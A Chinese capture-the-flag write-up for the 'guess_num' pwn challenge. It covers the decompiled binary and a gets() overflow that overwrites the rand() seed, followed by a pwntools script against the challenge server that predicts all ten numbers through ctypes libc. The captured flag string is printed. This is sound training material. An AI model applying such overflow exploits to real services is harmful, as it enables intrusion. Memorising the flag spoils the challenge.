zoukankan      html  css  js  c++  java
  • 攻防世界 guess_num

    1. checksec guess_num

    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled

    1. 用IDA64打开,找到main函数,F5反编译,可以分析得出其基本逻辑为:首先从输入gets一个姓名,然后用种子初始化随机数发生器,对生成的随机数进行处理,然后输入一个整数,将随机数处理后的值与输入数值进行比较,如果10轮比较都相同则成功,随即调用sub_C3E()。该函数会cat flag。
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      int v4; // [rsp+4h] [rbp-3Ch]
      int i; // [rsp+8h] [rbp-38h]
      int v6; // [rsp+Ch] [rbp-34h]
      char v7; // [rsp+10h] [rbp-30h]
      unsigned int seed[2]; // [rsp+30h] [rbp-10h]
      unsigned __int64 v9; // [rsp+38h] [rbp-8h]
    
      v9 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      v4 = 0;
      v6 = 0;
      *(_QWORD *)seed = sub_BB0();
      puts("-------------------------------");
      puts("Welcome to a guess number game!");
      puts("-------------------------------");
      puts("Please let me know your name!");
      printf("Your name:", 0LL);
      gets(&v7);
      srand(seed[0]);
      for ( i = 0; i <= 9; ++i )
      {
        v6 = rand() % 6 + 1;
        printf("-------------Turn:%d-------------
    ", (unsigned int)(i + 1));
        printf("Please input your guess number:");
        __isoc99_scanf("%d", &v4);
        puts("---------------------------------");
        if ( v4 != v6 )
        {
          puts("GG!");
          exit(1);
        }
        puts("Success!");
      }
      sub_C3E();
      return 0LL;
    }
    
    __int64 sub_C3E()
    {
      printf("You are a prophet!
    Here is your flag!");
      system("cat flag");
      return 0LL;
    }
    
    1. 查看v7所在栈,发现v7的范围

    因此,只要栈溢出,将我们指定的值覆盖到seed的部分,然后借助ctypes调用Linux中C标准动态库libc.so.6,就可以按我们从IDA中直观看到的反编译后的代码的相同结构,编写随机数发生器的初始化和产生随机数的过程。
    4. 通过ldd guess_num查看标准库

    linux-vdso.so.1 (0x00007ffef535e000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd902bba000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fd9031ad000)

    1. 所以参考Python使用Ctypes与C/C++ DLL文件通信过程介绍及实例分析导入对应的C标准动态库即可。
    from ctypes import *
    libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
    
    1. 具体求解过程如下:
    from pwn import *
    from ctypes import *
    
    io  = remote('220.249.52.133', 51872)
    
    # 导入对应C标准动态库
    libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    # gets到的v7需要先填满0x30到0x11之间,也即0x20字节,然后才会覆盖seed的部分,因此先放0x20个a再往seed放入1
    payload = "a" * 0x20 + p64(1)
    io.sendline(payload)
    # 用我们存入的seed值对随机数发生器进行初始化,操作方法同IDA反编译后的main函数
    libc.srand(1)
    for i in range(10):
        num = str(libc.rand()%6+1)
        io.sendline(num)
    
    io.interactive()
    

    cyberpeace{d9e0977d57a2adfe549d65519a84e9cb}

    参考:wzsec's wp

  • 相关阅读:
    枚举8项素数和环
    登录过滤器
    线程调度
    回溯素数环
    centos 6.5 samba简单配置
    区间k大数查询
    Centos安装arm-linux-gcc等交叉工具链
    centos7安装tftp服务器
    八皇后问题
    输出1——n的排列(深度优先搜索)
  • 原文地址:https://www.cnblogs.com/vict0r/p/13772213.html
Copyright © 2011-2022 走看看